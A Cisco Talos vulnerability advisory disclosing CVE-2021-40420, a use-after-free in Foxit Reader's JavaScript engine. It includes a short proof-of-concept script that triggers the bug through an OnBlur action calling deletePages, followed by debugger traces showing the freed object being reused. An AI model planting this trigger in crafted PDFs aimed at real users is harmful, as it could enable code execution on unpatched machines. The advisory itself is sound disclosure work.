Talos Vulnerability Report

TALOS-2021-1429

Foxit Reader deletePages use-after-free vulnerability

JANUARY 31, 2022

CVE NUMBER

CVE-2021-40420

Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 11.1.0.52543. A specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

Tested Versions

Foxit Reader 11.1.0.52543

Product URLs

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

```
function main() {
var a = this.getAnnots();
this.getField('txt3').setFocus();
this.getField('txt3').setAction("OnBlur",'f();');
this.getField('Radio Button0').setFocus();
}

function f(arg1, arg2, arg3) {
this.deletePages(0);
}
```

Above code simply assigns a callback function to 'OnBlur' action for field `txt3`, which is promptly triggered by a call to `setFocus` on another field. In the action callback, all that happens is a call to `deletePages`, which in turn ends up freeing a large number of objects. After the execution returns to event handler, use-after-free is triggered. To illustrate what's going on, we can follow the object's lifetime in a debugger.

Relevant part of execution starts inside function `sub_681680`, which is effectively the `OnBlur` handler. In it, a pointer to an object is saved in a local variable:

```
   Breakpoint 0 hit
eax=17c2ef60 ebx=1e0b6db0 ecx=185b3f80 edx=16e47f80 esi=185b3f80 edi=1e0b6f80
eip=00fe1763 esp=07dfe42c ebp=07dfe484 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
FoxitPDFReader!std::basic_ostream >::operator0:000> dd eax
17c2ef60  05b8cea0 17c4dff8 05b8ce90 21cf8ff8
17c2ef70  00000001 00000001 00000000 1e100ff8
17c2ef80  00000000 17d4cff8 17d4d000 17d4d000
17c2ef90  185b7ff8 185b8000 185b8000 00000000
17c2efa0  20f1b340 00000000 00000000 c0c0c001
17c2efb0  13acbac0 00000000 00000002 00000001
17c2efc0  00000000 c0c0c000 00000000 00000000
17c2efd0  00000000 00000000 00000000 00000010
0:000> u eip-3
00fe1760 ff5010          call    dword ptr [eax+10h]
00fe1763 8945e8          mov     dword ptr [ebp-18h],eax ss:002b:07dfe46c=00000000
00fe1766 8b07            mov     eax,dword ptr [edi]
00fe1768 33c9            xor     ecx,ecx
00fe176a c6450c00        mov     byte ptr [ebp+0Ch],0
00fe176e 85c0            test    eax,eax
00fe1770 7405            je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x6537 (00fe1777)
00fe1772 3908            cmp     dword ptr [eax],ecx
00fe1774 0f95c1          setne   cl
00fe1777 84c9            test    cl,cl
0:000> !heap -p -a eax
    address 17c2ef60 found in
    _DPH_HEAP_ROOT @ c941000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                17bb164c:         17c2ef60              9c -         17c2e000             2000
          ? FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+1fa50
    650fabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    778a245b ntdll!RtlDebugAllocateHeap+0x00000039
    77806dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77805ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77805d3e ntdll!RtlAllocateHeap+0x0000003e
    049dca5a FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0049286a
    046d56cc FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0018b4dc
    00fe7484 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000c244
    00fe790c FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000c6cc
    00fe11b5 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005f75
    011305fb FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0004059b
    0111fb12 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0002fab2
    01436110 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0014cc00
    01436a1e FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0014d50e
    0114f124 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0005f0c4
    046e317d FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00198f8d
    046e4615 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0019a425
    046defba FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00194dca
    046e3f07 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00199d17
    046e3f3f FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00199d4f
    0111f355 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0002f2f5
    010e0335 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x001050f5
    010f7bc6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00007b66
    010ca5a4 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000ef364
    010d39fa FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000f87ba
    04b10855 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x005c6665
    048c6aec FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0037c8fc
    75998494 KERNEL32!BaseThreadInitThunk+0x00000024
    778241c8 ntdll!__RtlUserThreadStart+0x0000002f
    77824198 ntdll!_RtlUserThreadStart+0x0000001b


0:000> k 10
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07dfe484 01866bdf FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x6523
01 07dfe49c 0325b453 FoxitPDFReader!CryptUIWizExport+0x3004f
02 07dfe4f8 032277d2 FoxitPDFReader!safe_vsnprintf+0xe7d7b3
03 07dfe54c 0357371b FoxitPDFReader!safe_vsnprintf+0xe49b32
04 07dfe594 03739129 FoxitPDFReader!FXJSE_GetClass+0x2cb
05 07dfe5e8 037388bf FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
06 07dfe67c 03738b81 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
07 07dfe6c4 03738a1b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
08 07dfe6e0 038dfd37 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
09 07dfe700 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
0a 07dfe740 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
0b 07dfe76c 0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
0c 07dfe780 0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0d 07dfe7ac 035aa406 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
0e 07dfe870 035a9ee7 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
0f 07dfe8f0 03596a67 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
```

In the above debugger output, we can see the return value in `eax` being saved at `ebp-0x18`. Also, we can note the current call stack and the PageHeap output showing that the object is in use and its size. This point is reached before the event handler callback code is executed, just at the start of event handler. Continuing execution forward will execute our specified javascript, including the `deletePages` call, before returning to the event handler. We can observe the following:

```
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=1e0b6db0 ecx=ffffffff edx=06351c4c esi=185b3f80 edi=1e0b6f80
eip=00fe18e6 esp=07dfe42c ebp=07dfe484 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitPDFReader!std::basic_ostream >::operator0:000> t
eax=00000000 ebx=1e0b6db0 ecx=17c2ef60 edx=06351c4c esi=185b3f80 edi=1e0b6f80
eip=00fe18e9 esp=07dfe42c ebp=07dfe484 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitPDFReader!std::basic_ostream >::operator0:000> dd ecx
17c2ef60  ???????? ???????? ???????? ????????
17c2ef70  ???????? ???????? ???????? ????????
17c2ef80  ???????? ???????? ???????? ????????
17c2ef90  ???????? ???????? ???????? ????????
17c2efa0  ???????? ???????? ???????? ????????
17c2efb0  ???????? ???????? ???????? ????????
17c2efc0  ???????? ???????? ???????? ????????
17c2efd0  ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
    address 17c2ef60 found in
    _DPH_HEAP_ROOT @ c941000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 17bb164c:         17c2e000             2000
    650fae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    778a2c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77803c45 ntdll!RtlpFreeHeap+0x000000d5
    77803812 ntdll!RtlFreeHeap+0x00000222
    049dcd4b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00492b5b
    049b8cef FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0046eaff
    048c6be1 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x0037c9f1
    00fe2ae6 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000078a6
    00fe4936 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000096f6
    00fe4b08 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000098c8
    01864e91 FoxitPDFReader!CryptUIWizExport+0x0002e301
    0320a87e FoxitPDFReader!safe_vsnprintf+0x00e2cbde
    031e0872 FoxitPDFReader!safe_vsnprintf+0x00e02bd2
    0357371b FoxitPDFReader!FXJSE_GetClass+0x000002cb
    03739129 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001c5339
    037388bf FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001c4acf
    03738b81 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001c4d91
    03738a1b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001c4c2b
    038dfd37 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0036bf47
    0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x002fa880
    038689bc FoxitPDFReader!CFXJSE_Arguments::GetValue+0x002f4bcc
    0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x002fa880
    0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x002f840f
    0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x002f822b
    035aa406 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00036616
    035a9ee7 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x000360f7
    03596a67 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x00022c77
    03571ccf FoxitPDFReader!FXJSE_Runtime_Release+0x00000d9f
    0357253f FoxitPDFReader!FXJSE_ExecuteScript+0x0000008f
    0317e6d4 FoxitPDFReader!safe_vsnprintf+0x00da0a34
    0317f5c0 FoxitPDFReader!safe_vsnprintf+0x00da1920
    0316574d FoxitPDFReader!safe_vsnprintf+0x00d87aad


0:000> k 10
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07dfe484 01866bdf FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x66a9
01 07dfe49c 0325b453 FoxitPDFReader!CryptUIWizExport+0x3004f
02 07dfe4f8 032277d2 FoxitPDFReader!safe_vsnprintf+0xe7d7b3
03 07dfe54c 0357371b FoxitPDFReader!safe_vsnprintf+0xe49b32
04 07dfe594 03739129 FoxitPDFReader!FXJSE_GetClass+0x2cb
05 07dfe5e8 037388bf FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c5339
06 07dfe67c 03738b81 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4acf
07 07dfe6c4 03738a1b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4d91
08 07dfe6e0 038dfd37 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1c4c2b
09 07dfe700 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36bf47
0a 07dfe740 0386e670 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
0b 07dfe76c 0386c1ff FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2fa880
0c 07dfe780 0386c01b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f840f
0d 07dfe7ac 035aa406 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x2f822b
0e 07dfe870 035a9ee7 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x36616
0f 07dfe8f0 03596a67 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x360f7
0:000> u
00fe18e6 8b4de8          mov     ecx,dword ptr [ebp-18h]
00fe18e9 85c9            test    ecx,ecx
00fe18eb 7410            je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x66bd (00fe18fd)
00fe18ed 8b01            mov     eax,dword ptr [ecx]
00fe18ef 56              push    esi
00fe18f0 8b403c          mov     eax,dword ptr [eax+3Ch]
00fe18f3 ffd0            call    eax
```

In the above debugger output, we can observe the same memory pointer being moved into `ecx`, and if we examine it with `!heap`, we can see that it now belongs to a freed allocation. What's more , the value in `ecx` is immediately dereferenced in the next few instructions as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable function call with the actual function pointer coming from area pointed to by `ecx`, which would give an attacker direct control over execution control flow.

This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

Timeline

2021-12-13 - Vendor Disclosure
2022-01-27 - Vendor Patched

2022-01-31 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

© 2022 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.